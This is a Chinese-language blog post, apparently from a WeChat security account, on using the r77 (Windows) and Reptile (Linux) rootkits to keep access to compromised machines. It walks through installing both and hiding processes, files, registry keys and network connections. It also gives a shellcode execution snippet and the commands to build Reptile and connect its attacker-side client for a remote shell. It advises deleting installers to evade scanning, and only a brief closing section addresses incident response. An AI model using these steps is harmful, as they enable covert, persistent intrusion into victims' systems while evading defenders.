rootkit是用于后渗透过程中维持住现有权限的工具,比如现在常用的 linux 维持权限的方法大多用 crontab 和开机自启动,同时使用的大多是msf 或者其它的 tcp 连接来反弹 shell ,这些随便应急排查一下自启动项和网络连接就被发现了,那如果我们在内核层面把进程和tcp隐藏岂不是就不是那么显眼了.于是rootkit成了很好的选择
而且msf的特征已经被标烂了.下面会介绍一款带rootkit的流量加密shell管理工具
windows版r77-rootkit
地址
https://github.com/bytecode77/r77-rootkit
适用范围
安装
install.exe是把r77注入到所有能注入的进程和启动系统rootkit的,所以安装完可以把程序删了,实现无文件启动
test console是测试r77的功能,比如注入r77或隐藏进程,但功能只有安装r77以后才能用
下载解压以后直接点击install.exe安装就行了
页面长这样
演示一下功能
功能如下,以下都能隐藏
文件、目录、连接、命名管道、计划任务;
进程;
CPU用量;
注册表键&值;
服务;
TCP&UDP连接
比如隐藏cs进程
点hide这样任务管理器就看不到了
隐藏本地tcp连接
隐藏前后
12t.exe是马子
再看cmd已经没有了
隐藏目录
然后就没了
剩下功能就不一一讲解了
注意几点
1.r77配置在注册表的位置是HKEY_LOCAL_MACHINESOFTWARE$77config,77安装完后,注册表编辑器被注入rootkit时,这个注册表项是不可见的。想看注册表需要先用 Test Console从regedit中分离rootkit。
2.可以用$+文件名隐藏该文件,当文件名不能更改时,建议使用名称来隐藏进程
3.文件夹有个Install.shellcode,他和install.exe的作用是等价的
可以用下面代码启动注入
LPBYTE shellCode = ...
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
((void(*)())shellCode)();
具体代码看这里
4.r77不过是从进程列表里隐藏了进程,如果受害者打开了进程或者提前知道pid,还是能找到的,比如提前打开了程序在桌面,因为如果完全隐藏key,那r77也没办法读取到
5.HKCU...Run key这样是打不开一个隐藏进程的,因为windows也找不到这个目录
6.r77是注入到各进程,加载与内存实现持久化的,是无文件化的,所以shellcode不会体现在磁盘里,为了避免被扫描到,建议安装运行完把程序删除。
linux版-Reptile
LKM Linux rootkit
项目地址
https://github.com/f0rb1dd3n/Reptile
安装
apt install build-essential libncurses-dev linux-headers-$(uname -r)
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make config # or 'make menuconfig' or even 'make defconfig'
make
make install
这里建议make config,很多真实情况没法用图形化,这里会有个是否安装后门的选项,如此配置,留个彩蛋
或者这样安装./setup.sh install
安装完以后会发现主目录多了一个.config隐藏文件
解释一下这个文件的内容
隐藏文件and目录
查看隐藏文件
隐藏进程
nohup ping 127.0.0.1 &
ps -ef | grep ping | grep -v grep
/reptile/reptile_cmd hide 2571
ps -ef | grep ping | grep -v grep
隐藏tcp/udp
/reptile/reptile_cmd conn IP hide
/reptile/reptile_cmd conn ip show
Backdoor
来玩点有意思的,reptile可以当作msf来用,和cs msf一样,也是有客户端和服务端的
攻击机准备
安装
./setup.sh client
cd bin
./client
help
配置还是上面受害端一样
下面还是攻击机(控制端)
run,来了
如果没上线,记得开放端口,卸载重新安装
卸载
show
rmmod reptile_module
rm -rf /reptile /lib/udev/rules.d/57-reptile.rules /lib/udev/reptile
shell演示
其他功能例如下载上传不演示喽
最后出个hw常问的场景题
如果应急的时候,找不到外联ip,有什么可能
-
netstat被替换了(输出结果改了),排查办法-->排查配置文件
-
用代理了,排查办法-->排查代理的端口(frp也会有外联端口)
-
被上rootkit了,排查办法-->3.1敲一下apt install build-essential(显示已经装过就gg 3.2看一下是否有隐藏目录/reptile(cd进去) 3.3给受害机子发一个tcp上线包(ip 端口 默认token 密码),看看有没有回连,不过一般人都会改密码
原文始发于微信公众号(划水但不摆烂):初探rookit(另一种角度看维权)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论